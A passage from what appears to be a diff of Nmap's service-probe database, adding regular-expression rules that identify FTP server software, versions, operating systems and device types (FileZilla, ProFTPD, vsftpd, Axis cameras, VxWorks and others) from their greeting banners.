logged\.\r\n| p/FileZilla ftpd/ o/Windows/ h/$1/ cpe:/a:filezilla-project:filezilla_server/ cpe:/o:microsoft:windows/a +match ftp m|^220.*\r\n220[- ]FileZilla Server version (\d[-.\w ]+)\r\n|s p/FileZilla ftpd/ v/$1/ o/Windows/ cpe:/a:filezilla-project:filezilla_server:$1/ cpe:/o:microsoft:windows/a +match ftp m|^220-.*\r\n220-\r\n220 using FileZilla FileZilla Server version ([^\r\n]+)\r\n|s p/FileZilla ftpd/ v/$1/ o/Windows/ cpe:/a:filezilla-project:filezilla_server:$1/ cpe:/o:microsoft:windows/a +match ftp m|^220-FileZilla Server\r\n| p/FileZilla ftpd/ o/Windows/ cpe:/a:filezilla-project:filezilla_server/ cpe:/o:microsoft:windows/a +match ftp m|^220 FileZilla Server (\d[\w.]+)\r\n| p/FileZilla ftpd/ v/$1/ o/Windows/ cpe:/a:filezilla-project:filezilla_server:$1/ cpe:/o:microsoft:windows/a +match ftp m|^431 Could not initialize SSL connection\r\n| p/FileZilla ftpd/ i/Mandatory SSL/ o/Windows/ cpe:/a:filezilla-project:filezilla_server/ cpe:/o:microsoft:windows/a +match ftp m|^550 No connections allowed from your IP\r\n| p/FileZilla ftpd/ i/IP blocked/ o/Windows/ cpe:/a:filezilla-project:filezilla_server/ cpe:/o:microsoft:windows/a +# Netgear RP114 switch with integrated ftp server or ZyXel P2302R VoIP +match ftp m|^220 FTP version 1\.0 ready at | p/Netgear broadband router or ZyXel VoIP adapter ftpd/ v/1.0/ +match ftp m|^220 ([\w._-]+) FTP version 1\.0 ready at | p/Netgear broadband router or ZyXel VoIP adapter ftpd/ v/1.0/ h/$1/ +match ftp m|^220 \(none\) FTP server \(GNU inetutils ([\w._-]+)\) ready\.\r\n| p/GNU Inetutils FTPd/ v/$1/ cpe:/a:gnu:inetutils:$1/ +match ftp m|^220 ([-.\w]+) FTP server \(GNU inetutils (\d[-.\w ]+)\) ready\.\r\n| p/GNU Inetutils FTPd/ v/$2/ h/$1/ cpe:/a:gnu:inetutils:$2/ +match ftp m|^220 FTP server \(GNU inetutils ([\w._-]+)\) ready\.\r\n| p/GNU Inetutils FTPd/ v/$1/ cpe:/a:gnu:inetutils:$1/ +match ftp m|^220 .* \(glftpd (\d[-.0-9a-zA-Z]+)_(\w+)(?:\+TLS)?\) ready\.\r\n| p/glFTPd/ v/$1/ i/$2/ o/Unix/ +match ftp m|^220 .* \(glFTPd (\d[-.0-9a-zA-Z]+)_(\w+) Linux\+TLS\) ready\.?\r\n| p/glFTPd/ v/$1/ i/$2/ o/Linux/ cpe:/o:linux:linux_kernel/a +match ftp m|^220 .* \(glFTPd (\d[-.0-9a-zA-Z]+) Linux\+TLS\) ready\.\r\n| p/glFTPd/ v/$1/ o/Linux/ cpe:/o:linux:linux_kernel/a +match ftp m|^220 .* \(glFTPd (\d[-.0-9a-zA-Z]+) FreeBSD\+TLS\) ready\.\r\n| p/glFTPd/ v/$1/ o/FreeBSD/ cpe:/o:freebsd:freebsd/a +match ftp m|^220 ([-.\w]+) FTP server \(FirstClass v(\d[-.\w]+)\) ready\.\r\n| p/FirstClass FTP server/ v/$2/ h/$1/ cpe:/a:opentext:firstclass:$2/ +match ftp m|^220 ([-.\w]+) FTP server \(Compaq Tru64 UNIX Version (\d[-.\w]+)\) ready\.\r\n| p/Compaq Tru64 ftp server/ v/$2/ o/Tru64 UNIX/ h/$1/ cpe:/o:compaq:tru64/a + +match ftp m|^220 Axis ([\w._ -]+) Network Camera(?: version)? (\d\S+) \((.*)\) ready\.\r\n|i p/Axis $1 Network Camera ftpd/ v/$2/ i/$3/ d/webcam/ cpe:/h:axis:$1_network_camera/ +match ftp m|^220 Axis ([\w._ -]+) Network Camera ([\w._-]+ \(\w+ \d+ \d+\)) ready\.\r\n| p/Axis $1 Network Camera ftpd/ v/$2/ d/webcam/ cpe:/h:axis:$1_network_camera/ +match ftp m|^220 AXIS ([\w._ -]+) Network Camera ([\w._-]+ \(\w+ \d+ \d+\)) ready\.\r\n| p/Axis $1 Network Camera ftpd/ v/$2/ d/webcam/ cpe:/h:axis:$1_network_camera/ +match ftp m|^220 Axis ([\w._ -]+) Network Camera ([\w._-]+) \w+ \d+ \d+ ready\.\r\n| p/Axis $1 Network Camera ftpd/ v/$2/ d/webcam/ cpe:/h:axis:$1_network_camera/ +match ftp m|^220 AXIS ([\w._ -]+) Video Encoder ([\w._-]+ \(\w+ \d+ \d+\)) ready\.\r\n| p/Axis $1 Video Encoder ftpd/ v/$2/ d/media device/ cpe:/h:axis:$1_video_encoder/ +match ftp m|^220 AXIS ([-.\w]+) FTP Network Print Server V(\d[-.\w]+) [A-Z][a-z]| p/Axis network print server ftpd/ v/$2/ i/Model $1/ d/print server/ +match ftp m|^220 AXIS ([\d\w]+)V(\d\S+) (.*?) ready\.\n| p/AXIS $1 Webcam ftpd/ v/$2/ i/$3/ d/webcam/ cpe:/h:axis:$1/a +match ftp m|^220 AXIS ([+\d]+) Video Server ?(\d\S+) (.*?) ready\.| p/AXIS $1 Video Server ftpd/ v/$2/ i/$3/ +match ftp m|^220 AXIS (\w+) Video Server (\d\S+) \(.*\) ready\.\r\n| p/AXIS $1 Video Server ftpd/ v/$2/ +match ftp m|^220 AXIS 205 version ([\d.]+) \(.*\) ready\.\r\n| p/AXIS 205 Network Video ftpd/ v/$1/ d/webcam/ +match ftp m|^220 AXIS 250S MPEG-2 Video Server ([\d.]+) \([^)]+\) ready\.\r\n| p/AXIS 250S Network Video ftpd/ v/$1/ d/webcam/ +match ftp m|^220 AXIS (\w+) Video Server ([\d.]+) \([^)]+\) ready\.\r\n| p/AXIS $1 Video Server ftpd/ v/$2/ d/media device/ +match ftp m|^220 AXIS (\w+) Video Server Blade ([\w._-]+) \([^)]+\) ready\.\r\n| p/AXIS $1 Video Server Blade ftpd/ v/$2/ d/media device/ +match ftp m|^220 AXIS StorPoint CD E100 CD-ROM Server V([\d.]+) .* ready\.\r\n| p/AXIS StorPoint E100 CD-ROM Server ftpd/ v/$1/ d/storage-misc/ cpe:/h:axis:storpoint_cd_e100/ +match ftp m|^220 AXIS (.+) FTP Network Print Server V([-\w_.]+) | p/AXIS $1 print server ftpd/ v/$2/ d/print server/ cpe:/h:axis:$1/a +match ftp m|^220 AXIS ([\d/+]+) FTP Print Server V([-\w_.]+) | p/AXIS $1 print server ftpd/ v/$2/ d/print server/ cpe:/h:axis:$1/a +match ftp m|^220 AXIS (\w+) Network Fixed Dome Camera (.*) ready\.\r\n| p/AXIS $1 camera ftpd/ v/$2/ d/webcam/ + +match ftp m|^220-Cerberus FTP Server Personal Edition\r\n220-UNREGISTERED\r\n| p/Cerberus FTP Server/ i/Personal Edition; Unregistered/ o/Windows/ cpe:/a:cerberusftp:ftp_server/ cpe:/o:microsoft:windows/a +match ftp m|^220-Cerberus FTP Server - Personal Edition\r\n220-This is the UNLICENSED personal edition and may be used for home, personal use only\r\n220-Welcome to Cerberus FTP Server\r\n220 Created by Cerberus, LLC\r\n| p/Cerberus FTP Server/ i/Personal Edition; Unregistered/ o/Windows/ cpe:/a:cerberusftp:ftp_server/ cpe:/o:microsoft:windows/a +match ftp m|^220-Cerberus FTP Server - Personal Edition\r\n220-This is the UNLICENSED personal edition and may be used for home, personal use only\r\n220 Connected to Aurora FTP server\.\.\.\r\n| p/Cerberus FTP Server/ i/Personal Edition; Unregistered/ o/Windows/ cpe:/a:cerberusftp:ftp_server/ cpe:/o:microsoft:windows/a +match ftp m|^220-Cerberus FTP Server - Personal Edition\r\n220-UNREGISTERED\r\n220-Welcome to Cerberus FTP Server\r\n220 Created by Grant Averett\r\n| p/Cerberus FTP Server/ i/Personal Edition; Unregistered/ o/Windows/ cpe:/a:cerberusftp:ftp_server/ cpe:/o:microsoft:windows/a +match ftp m|^220-Welcome to Cerberus FTP Server\r\n220 Created by Grant Averett\r\n| p/Cerberus ftpd/ o/Windows/ cpe:/a:cerberusftp:ftp_server/ cpe:/o:microsoft:windows/a +match ftp m|^421-Not currently accepting logins at this address\. Try back \r\n421 later\.\r\n| p/Cerberus ftpd/ i/banned/ o/Windows/ cpe:/a:cerberusftp:ftp_server/ cpe:/o:microsoft:windows/a +match ftp m|^220 Welkom@([\w._-]+)\r\n521 Not logged in - Secure authentication required\r\n| p/Cerberus ftpd/ o/Windows/ h/$1/ cpe:/a:cerberusftp:ftp_server/ cpe:/o:microsoft:windows/a + +match ftp m|^220 FTP print service:V-(\d[-.\w]+)/Use the network password for the ID if updating\.\r\n| p|Brother/HP printer ftpd| v/$1/ d/printer/ +match ftp m|^220- APC FTP server ready\.\r\n220 \r\n$| p/APC ftp server/ d/power-device/ +# HP-UX 10.x or AIX +match ftp m|^220 ([-\w]+) FTP server \(Version (\d[\w._-]+) [A-Z][a-z]{2} [A-Z][a-z]{2} .*\) ready\.\r\n| p/HP-UX or AIX ftpd/ v/$2/ o/Unix/ h/$1/ +match ftp m|^220 Serveur FTP ([\w.-]+) \(Version ([\d.]+) [\w: ]+\) pr\xeat\.\r\n| p/HP-UX or AIX ftpd/ v/$2/ i/French/ h/$1/ +match ftp m|^220[- ]Roxen FTP server running on Roxen (\d[-.\w]+)/Pike (\d[-.\w]+)\r\n| p/Roxen ftp server/ v/$1/ i/Pike $2/ +# Debian packaged oftpd 0.3.6-51 on Linux 2.6.0-test4 Debian +match ftp m|^220 Service ready for new user\.\r\n| p/oftpd/ o/Unix/ +# Mac OS X Client 10.2.6 built-in ftpd +match ftp m|^220[ -].*FTP server \(lukemftpd (\d[-. \w]+)\) ready\.\r\n|s p/LukemFTPD/ v/$1/ o/Mac OS X/ cpe:/o:apple:mac_os_x/a +match ftp m|^220.*Microsoft FTP Service \(Version (\d[^)]+)| p/Microsoft ftpd/ v/$1/ o/Windows/ cpe:/a:microsoft:ftp_service:$1/ cpe:/o:microsoft:windows/a +# This lame version doesn't give a version number +# Windows 2003 +match ftp m|^220[ -]Microsoft FTP Service\r\n| p/Microsoft ftpd/ o/Windows/ cpe:/a:microsoft:ftp_service/ cpe:/o:microsoft:windows/a +match ftp m|^220[ -]Serv-U FTP[ -]Server v([\w._-]+) | p/Serv-U ftpd/ v/$1/ o/Windows/ cpe:/a:serv-u:serv-u:$1/ cpe:/o:microsoft:windows/a +match ftp m|^220-Serv-U FTP Server for Winsock\r\n| p/Serv-U ftpd/ o/Windows/ cpe:/a:serv-u:serv-u/ cpe:/o:microsoft:windows/a +match ftp m|^220 Serv-U FTP-Server v([-\w_.]+ build \d+) for WinSock ready\.\.\.\r\n| p/Serv-U ftpd/ v/$1/ o/Windows/ cpe:/a:serv-u:serv-u:$1/ cpe:/o:microsoft:windows/a +match ftp m|^220-FTP Server v([\d.]+) for WinSock ready\.| p/Serv-U ftpd/ v/$1/ o/Windows/ cpe:/a:serv-u:serv-u:$1/ cpe:/o:microsoft:windows/a +match ftp m|^220-SECURE FTP SERVER VERSION ([\d.]+) \(([-\w_.]+)\)\r\n| p/Serv-U ftpd/ v/$1/ i/Name $2/ o/Windows/ cpe:/a:serv-u:serv-u:$1/ cpe:/o:microsoft:windows/a +match ftp m|^431 Unable to negotiate secure command connection\.\r\n| p/Serv-U ftpd/ i/SSL Required/ o/Windows/ cpe:/a:serv-u:serv-u/ cpe:/o:microsoft:windows/a +match ftp m|^220-Sambar FTP Server Version (\d\S+)\x0d\x0a| p/Sambar ftpd/ v/$1/ cpe:/a:sambar:sambar_server:$1/ +# Sambar server V5.3 on Windows NT +match ftp m|^220-FTP Server ready\r\n220-Use USER user@host for native FTP proxy\r\n220 Your FTP Session will expire after 300 seconds of inactivity\.\r\n| p/Sambar ftpd/ cpe:/a:sambar:sambar_server/ +match ftp m|^220 JD FTP Server Ready| p/HP JetDirect ftpd/ d/print server/ +match ftp m|^220.*Check Point FireWall-1 Secure FTP server running on|s p/Check Point Firewall-1 ftpd/ d/firewall/ cpe:/a:checkpoint:firewall-1/ +match ftp m|^220[- ].*FTP server \(Version (wu-[-.\w]+)|s p/WU-FTPD/ v/$1/ o/Unix/ cpe:/a:redhat:wu_ftpd:$1/ +match ftp m|^220-\r\n220 ([-.\w]+) FTP server \(Version ([-.+\w()]+)\) ready\.\r\n$| p/WU-FTPD/ v/$2/ o/Unix/ h/$1/ cpe:/a:redhat:wu_ftpd:$2/ +match ftp m|^220 ([-.\w]+) FTP server \(Revision ([\d.]+) Version wuftpd-([-.+\w()]+) [^)]*\) ready\.\r\n$| p/WU-FTPD/ v/$3/ i/revision $2/ o/Unix/ h/$1/ cpe:/a:redhat:wu_ftpd:$3/ +match ftp m|^220 ([-.\w]+) FTP server \(Version ([-.+\w()]+)\) ready\.\r\n$| p/WU-FTPD or MIT Kerberos ftpd/ v/$2/ o/Unix/ h/$1/ + +# ProFTPd 1.2.5 +match ftp m|^220 Server \(ProFTPD\) \[([-.\w]+)\]\r\n| p/ProFTPD/ o/Unix/ h/$1/ cpe:/a:proftpd:proftpd/a +match ftp m|^220 ProFTPD (\d\S+) Server| p/ProFTPD/ v/$1/ o/Unix/ cpe:/a:proftpd:proftpd:$1/a +match ftp m|^220 FTP Server \[([-\w_.]+)\]\r\n| p/ProFTPD/ o/Unix/ h/$1/ cpe:/a:proftpd:proftpd/a +match ftp m|^220 ([-\w_.]+) FTP server ready\r\n| p/ProFTPD/ o/Unix/ h/$1/ cpe:/a:proftpd:proftpd/a +match ftp m|^220.*ProFTP[dD].*Server ready| p/ProFTPD/ o/Unix/ cpe:/a:proftpd:proftpd/a +match ftp m|^220 ProFTP Server Ready\r\n| p/ProFTPD/ o/Unix/ cpe:/a:proftpd:proftpd/a +match ftp m|^220 ProFTP Ready\r\n| p/ProFTPD/ o/Unix/ cpe:/a:proftpd:proftpd/a +match ftp m|^220 Welcome @ my\.ftp\.org\r\n$| p/ProFTPD/ o/Unix/ cpe:/a:proftpd:proftpd/a +match ftp m|^220-.*\r\n220 ProFTPD ([\d.]+) Server|s p/ProFTPD/ v/$1/ o/Unix/ cpe:/a:proftpd:proftpd:$1/a +match ftp m|^220 .* FTP Server \(ProFTPD ([\d.]+) on Red Hat linux ([\d.]+)\) ready\.\r\n| p/ProFTPD/ v/$1/ i/RedHat $2/ o/Linux/ cpe:/a:proftpd:proftpd:$1/a cpe:/o:redhat:linux/ +match ftp m|^220 ProFTP-Server auf ([-\w_.]+)\r\n| p/ProFTPD/ i/German/ o/Unix/ h/$1/ cpe:/a:proftpd:proftpd::::de/ +match ftp m|^220.*\r\n220 ProFTPD ([\w._-]+) Server \(ProFTPD\)|s p/ProFTPD/ v/$1/ o/Unix/ cpe:/a:proftpd:proftpd:$1/a +# Hope these aren't too general -Doug +match ftp m|^220 ([-\w_.]+) FTP server ready!\r\n| p/ProFTPD/ o/Unix/ h/$1/ cpe:/a:proftpd:proftpd/a +match ftp m|^220 FTP Server ready\.\r\n$| p/ProFTPD or KnFTPD/ o/Unix/ + +match ftp m|^220.*NcFTPd Server | p/NcFTPd/ o/Unix/ +match ftp m|^220 ([-\w_.]+) FTP server \(SunOS 5\.([789])\) ready| p/Sun Solaris $2 ftpd/ o/Solaris/ h/$1/ cpe:/o:sun:sunos:5.$2/ +match ftp m|^220 ([-\w_.]+) FTP server \(SunOS (\S+)\) ready| p/Sun SunOS ftpd/ v/$2/ o/Solaris/ h/$1/ cpe:/o:sun:sunos:$2/ +match ftp m|^220-([-.\w]+) IBM FTP.*(V\d+R\d+)| p|IBM OS/390 ftpd| v/$2/ o|OS/390| h/$1/ cpe:/o:ibm:os_390/a +match ftp m|^220-IBM FTP, .*\.\r\n220 Connection will close if idle for more than 120 minutes\.\r\n| p|IBM OS/390 ftpd| o|OS/390| cpe:/o:ibm:os_390/a +match ftp m|^220 VxWorks \((\d[^)]+)\) FTP server ready| p/VxWorks ftpd/ v/$1/ o/VxWorks/ cpe:/o:windriver:vxworks/a +match ftp m|^220 VxWorks \(VxWorks(\d[^)]+)\) FTP server ready| p/VxWorks ftpd/ v/$1/ o/VxWorks/ cpe:/o:windriver:vxworks/a +match ftp m|^220 VxWorks FTP server \(VxWorks ?([\d.]+) - Secure NetLinx version \(([\d.]+)\)\) ready\.\r\n| p|AMX NetLinx A/V control system ftpd| v/$2/ i/VxWorks $1/ d/media device/ o/VxWorks/ cpe:/o:harman:amx_firmware:$1/ cpe:/o:windriver:vxworks:$1/ +match ftp m|^220 VxWorks \(VxWorks ([\w._-]+)\) FTP server ready\r\n| p|AMX NetLinx A/V control system ftpd| i/VxWorks $1/ d/media device/ o/VxWorks/ cpe:/o:harman:amx_firmware:$1/ cpe:/o:windriver:vxworks:$1/ +match ftp m|^220 VxWorks FTP server \(VxWorks ?([\w._-]+)\) ready\.\r\n| p/VxWorks ftpd/ v/$1/ o/VxWorks/ cpe:/o:windriver:vxworks/a +match ftp m|^220 ABB Robotics FTP server \(VxWorks ([\d.]+) rev ([\d.]+)\) ready\.\r\n| p/ABB Robotics ftpd/ i/VxWorks $1 rev $2 **A ROBOT**/ d/specialized/ o/VxWorks/ cpe:/o:windriver:vxworks:$1/ + +# Pure-ftpd +match ftp m|^220.*Welcome to .*Pure-?FTPd (\d\S+\s*)| p/Pure-FTPd/ v/$1/ cpe:/a:pureftpd:pure-ftpd:$1/ +match ftp m|^220.*Welcome to .*Pure-?FTPd[^(]+\r\n| p/Pure-FTPd/ cpe:/a:pureftpd:pure-ftpd/ +match ftp m|^220.*Bienvenue sur .*Pure-?FTPd.*\r\n| p/Pure-FTPd/ i/French/ cpe:/a:pureftpd:pure-ftpd::::fr/ +match ftp m|^220.*Bienvenue sur .*Pure-?FTPd (\d[-.\w]+)| p/Pure-FTPd/ v/$1/ i/French/ cpe:/a:pureftpd:pure-ftpd:$1:::fr/ +match ftp m|^220.*Velkommen til .*Pure-?FTPd.*\r\n| p/Pure-FTPd/ i/Danish/ cpe:/a:pureftpd:pure-ftpd::::da/ +match ftp m|^220.*Bem-vindo.*Pure-?FTPd.*\r\n| p/Pure-FTPd/ i/Portuguese/ cpe:/a:pureftpd:pure-ftpd::::pt/ +# pure-ftpd 1.0.12 on Linux 2.4 +match ftp m|^220[- ]FTP server ready\.\r\n.*214 Pure-FTPd - http://pureftpd\.org/?\r\n|s p/Pure-FTPd/ cpe:/a:pureftpd:pure-ftpd/ +# OpenBSD 3.4 beta running Pure-FTPd 1.0.16 with SSL/TLS +match ftp m|^220---------- Welcome to Pure-FTPd \[privsep\] \[TLS\] ----------\r\n220-You are user number| p/Pure-FTPd/ i|with SSL/TLS| cpe:/a:pureftpd:pure-ftpd/ +match ftp m|^220---------- .* Pure-FTPd ----------\r\n220-| p/Pure-FTPd/ cpe:/a:pureftpd:pure-ftpd/ +match ftp m|^220.*214 Pure-FTPd - http://pureftpd\.org/?\r\n|s p/Pure-FTPd/ cpe:/a:pureftpd:pure-ftpd/ + +match ftp m|^220 vsFTPd (.*) ready\.\.\.\r\n| p/vsftpd/ v/$1/ cpe:/a:vsftpd:vsftpd:$1/ +match ftp m|^220 vsFTPd (.*) ready\.\.\. \[charset=\w+\]\r\n| p/vsftpd/ v/$1/ cpe:/a:vsftpd:vsftpd:$1/ +match ftp m|^220 ready, dude \(vsFTPd (\d[0-9.]+): beat me, break me\)\r\n| p/vsftpd/ v/$1/ o/Unix/ cpe:/a:vsftpd:vsftpd:$1/ +match ftp m|^220 \(vsFTPd ([-.\w]+)\)\r\n$| p/vsftpd/ v/$1/ o/Unix/ cpe:/a:vsftpd:vsftpd:$1/ +match ftp m|^220 Welcome to blah FTP service\.\r\n$| p/vsftpd/ o/Unix/ cpe:/a:vsftpd:vsftpd/ + +match ftp m|^220 TYPSoft FTP Server (\d\S+) ready\.\.\.\r\n| p/TYPSoft ftpd/ v/$1/ o/Windows/ cpe:/a:typsoft:typsoft_ftp_server:$1/ cpe:/o:microsoft:windows/a +match ftp m|^220-MegaBit Gear (\S+).*FTP server ready| p/MegaBit Gear ftpd/ v/$1/ +match ftp m|^220.*WS_FTP Server (\d\S+)| p/WS FTPd/ v/$1/ o/Windows/ cpe:/a:ipswitch:ws_ftp:$1/ cpe:/o:microsoft:windows/a +match ftp m|^220 Features: a p \.\r\n$| p/publicfile ftpd/ o/Unix/ +match ftp m|^220 ([-.\w]+) FTP server \(Version (\S+) VFTPD, based on Version (\S+)\) ready\.\r\n$| p/Virtual FTPD/ v/$2/ i/based on $3/ o/Unix/ h/$1/ +match ftp m|220 ([-.\w]+) FTP server \(Version (\S+)/OpenBSD, linux port (\S+)\) ready\.\r\n| p/OpenBSD ftpd/ v/$2/ i/Linux port $3/ o/Linux/ h/$1/ cpe:/a:openbsd:ftpd:$2/ cpe:/o:linux:linux_kernel/a +match ftp m|^220 ([-.\w]+) FTP server \(Version (\S+)/OpenBSD/Linux-ftpd-([-.\w]+)\) ready.\r\n$| p/OpenBSD ftpd/ v/$2/ i/Linux port $3/ o/Linux/ h/$1/ cpe:/a:openbsd:ftpd:$2/ cpe:/o:linux:linux_kernel/a +match ftp m|^220 Interscan Version ([-\w.]+)|i p/InterScan VirusWall ftpd/ v/$1/ +match ftp m|^220 InterScan FTP VirusWall NT (\d[-.\w]+) \(([-.\w]+) Mode\), Virus scan (\w+)\r\n$| p/InterScan VirusWall NT/ v/$1/ i/Virus scan $3; $2 mode/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220 ([-.\w]+) FTP server \(Version ([-.\w]+)/OpenBSD\) ready\.\r\n$| p/OpenBSD ftpd/ v/$2/ o/OpenBSD/ h/$1/ cpe:/a:openbsd:ftpd:$2/ cpe:/o:openbsd:openbsd/ +match ftp m|^220 ([-.\w]+) FTP server \(Version (6.0\w+)\) ready.\r\n| p/FreeBSD ftpd/ v/$2/ o/FreeBSD/ h/$1/ cpe:/o:freebsd:freebsd/a +match ftp m|^220 FTP server \(Version ([\w.]+)\) ready\.\r\n| p/FreeBSD ftpd/ v/$1/ o/FreeBSD/ cpe:/o:freebsd:freebsd/a +# Trolltech Troll-FTPD 1.28 (Only runs on Linux) +match ftp m|^220-Setting memory limit to 1024\+1024kbytes\r\n220-Local time is now \d+:\d+ and the load is [\d.]+\.\r\n220 You will be disconnected after \d+ seconds of inactivity.\r\n$| p/Trolltech Troll-FTPd/ o/Linux/ cpe:/o:linux:linux_kernel/a + +match ftp m|^220 FTP server \(Hummingbird Ltd\. \(HCLFTPD\) Version (7.1.0.0)\) ready\.\r\n$| p/Hummingbird FTP server/ v/$1/ cpe:/a:hummingbird:connectivity:$1/ +match ftp m|^220 FTP server \(Hummingbird Communications Ltd\. \(HCLFTPD\) Version ([\d.]+)\) ready\.\r\n| p/Hummingbird FTP server/ v/$1/ cpe:/a:hummingbird:connectivity:$1/ + +match ftp m|^220- .*\n220 ([-.\w]+) FTP server \(Version (.*)\) ready\.\r\n|s p/BSD ftpd/ v/$2/ h/$1/ +# Xitami FTPd +match ftp m|^220- \r\n.*www\.imatix\.com --\r\n|s p/Xitami ftpd/ +match ftp m|^220- Welcome to this Xitami FTP server, running version ([\d\w.]+) of Xitami\. \n You are user number (\d+) of a permitted (\d+) users\.| p/Xitami ftpd/ v/$1/ i|$2/$3 users| + +# Netware 6 - NWFTPD.NLM FTP Server Version 5.01w +match ftp m|^220 Service Ready for new User\r\n$| p/NetWare NWFTPD/ +match ftp m|^220-LRN\r\n220 Service Ready for new User\r\n| p/NetWare NWFTPD/ +match ftp m|^220 ([-\w]+) FTP server \(NetWare (v[\d.]+)\) ready\.\r\n$| p/Novell NetWare ftpd/ v/$2/ o/NetWare/ h/$1/ cpe:/o:novell:netware/a +match ftp m|220 FTP Server for NW 3.1x, 4.xx \((v1.10)\), \(c\) 199[0-9] HellSoft\.\r\n$| p/HellSoft FTP server for NetWare 3.1x, 4.x/ v/$1/ o/NetWare/ cpe:/o:novell:netware/a +match ftp m|^220 ([-.\w]+) MultiNet FTP Server Process V(\S+) at .+\r\n$| p/DEC OpenVMS MultiNet FTPd/ v/$2/ h/$1/ +match ftp m|^220-\r\n220 ([-.\w]+) FTP server \(NetBSD-ftpd ([-.\w]+)\) ready.\r\n$| p/NetBSD lukemftpd/ v/$2/ h/$1/ +match ftp m|^220 ([-.\w]+) Network Management Card AOS v([-.\w]+) FTP server ready.\r\n$| p/APC AOS ftpd/ v/$2/ i/on APC $1 network management card/ d/power-device/ o/AOS/ cpe:/o:apc:aos/a +match ftp m|^220 FTP Server \(Version 1.0\) ready.\r\n$| p/GlobespanVirata ftpd/ v/1.0/ d/broadband router/ +# HP-UX B.11.00 +match ftp m|^220 ([-.+\w ]+) FTP server \(Version (\d[-.\w]+) [A-Z][a-z]{2} [A-Z].*20\d\d\) ready\.\r\n| p/HP-UX ftpd/ v/$2/ o/HP-UX/ h/$1/ cpe:/o:hp:hp-ux/a +match ftp m|^220 ([-.+\w ]+) FTP server \(Version (\d[-.\w]+)\(([^\)]+)\) [A-Z][a-z]{2} [A-Z].*\d{4}\) ready\.\r\n| p/HP-UX ftpd/ v/$2/ i/patchlevel $3/ o/HP-UX/ h/$1/ cpe:/o:hp:hp-ux/a +# 220 mirrors.midco.net FTP server ready. +# WarFTP Daemon 1.70 on Win2K +match ftp m=^220-.*\r\n(?:220-|) WarFTPd (\d[-.\w]+) \([\w ]+\) Ready\r\n=s p/WarFTPd/ v/$1/ cpe:/a:jgaa:warftpd:$1/ +match ftp m|^220 ([-.+\w]+) FTP SERVICE ready\r\n500 Please enter a command\. Dunno how to interperet empty lines\.\.\.\r\n500 Please enter a command\. Dunno how to interperet empty lines\.\.\.\r\n$| p/WarFTPd/ o/Windows/ h/$1/ cpe:/a:jgaa:warftpd/ cpe:/o:microsoft:windows/a +match ftp m|^220 Welcome to Windows FTP Server| p/Windows Ftp Server/ i|Not from Microsoft - http://srv.nease.net/| +# UnixWare 7.11 +match ftp m|^220 ([-\w_.]+) FTP server \(BSDI Version ([\w.]+)\) ready\.\r\n| p|BSDI/Unixware ftpd| v/$2/ h/$1/ +match ftp m|^220 FTP server \(Hummingbird Ltd\. \(HCLFTPD\) Version ([\d.]+)\) ready\.\r\n| p/Hummingbird ftpd/ v/$1/ cpe:/a:hummingbird:connectivity:$1/ +match ftp m|^220 OpenFTPD server ready\. .*\.\r\n| p/OpenFTPD/ +match ftp m|^220 ([\w._-]+) FTP server \(NetBSD-ftpd 20\w+\) ready\.\r\n| p/NetBSD lukemftpd/ o/NetBSD/ h/$1/ cpe:/o:netbsd:netbsd/ +match ftp m|^220-\r\n Your connection logged!\r\n220 ([\w_.-]+) FTP server \(NetBSD-ftpd 200\d+\) ready\.\r\n| p/NetBSD lukemftpd/ i/Connection logged/ h/$1/ +match ftp m|^220 CommuniGate Pro FTP Server ([\d.]+) ready\r\n| p/CommuniGate Pro ftpd/ v/$1/ cpe:/a:stalker:communigate_pro:$1/ +match ftp m|^220 CommuniGate Pro FTP Server ready\r\n| p/CommuniGate Pro ftpd/ cpe:/a:stalker:communigate_pro/ +match ftp m|^220 ([\w._-]+) CommuniGate Pro FTP Server (\d[\w._-]+) ready\r\n| p/CommuniGate Pro ftpd/ v/$2/ h/$1/ cpe:/a:stalker:communigate_pro:$2/ +match ftp m|^421 Sorry you are not welcomed on this server\.\r\n$| p/BulletProof ftpd/ i/Banned/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220-BulletProof FTP Server ready \.\.\.\r\n| p/BulletProof ftpd/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^(?:220.*\r\n)?220 [Ee]valine FTP server \(Version: Mac OS X|s p/Evaline ftpd/ o/Mac OS X/ cpe:/o:apple:mac_os_x/a +match ftp m|^220 WinGate Engine FTP Gateway ready\r\n| p/WinGate ftpd/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220 Welcome to Quick 'n Easy FTP Server\r\n| p/Quick 'n Easy ftpd/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220 Welcome to Quick 'n Easy FTP Server DEMO\r\n| p/Quick 'n Easy ftpd/ i/DEMO/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^421 Too many connections for this IP address, please try again later\.\r\n| p/Quick 'n Easy ftpd/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220 Tornado-vxWorks \(VxWorks([\d.]+)\) FTP server ready\r\n| p/Tornado vxWorks ftpd/ v/$1/ o/VxWorks/ cpe:/o:windriver:vxworks/a +match ftp m|^220 [-\w_.]+ FTP server \(UNIX\(r\) System V Release 4\.0\) ready\.\r\n| p/UNIX System V Release 4.0 ftpd/ o/Unix/ +match ftp m|^(?:220-.*\r\n)?220 ([-\w_.]+) FTP Server \(Oracle XML DB/Oracle9i Enterprise Edition Release ([\d.]+) - Production\) ready\.\r\n|s p/Oracle Enterprise XML DB ftpd/ v/$2/ h/$1/ cpe:/a:oracle:database_server:$2::enterprise/ +match ftp m|^(?:200-.*\r\n)?220 ([-\w_.]+) FTP Server \(Oracle XML DB/Oracle9i Enterprise Edition Release ([\d.]+) - 64bit Production\) ready\.\r\n| p/Oracle XML DB ftpd/ v/$2/ i/64 bits/ h/$1/ cpe:/a:oracle:database_server:$2::enterprise/ +match ftp m|^(?:220-.*\r\n)?220 ([-\w_.]+) FTP Server \(Oracle XML DB/Oracle9i Release ([\d.]+) - Production\) ready\.\r\n|s p/Oracle XML DB ftpd/ v/$2/ h/$1/ cpe:/a:oracle:database_server:$2/ +match ftp m|^(?:220-.*\r\n)?220 ([-\w_.]+) FTP Server \(Oracle XML DB/Oracle Database 10g Enterprise Edition Release ([\d.]+) - Production\) ready\.\r\n|s p/Oracle 10g Enterprise XML DB ftpd/ v/$2/ h/$1/ cpe:/a:oracle:database_server:$2::enterprise/ +match ftp m|^(?:220-.*\r\n)?220 ([-\w_.]+) FTP Server \(Oracle XML DB/Personal Oracle9i Release ([\d.]+) - Production\) 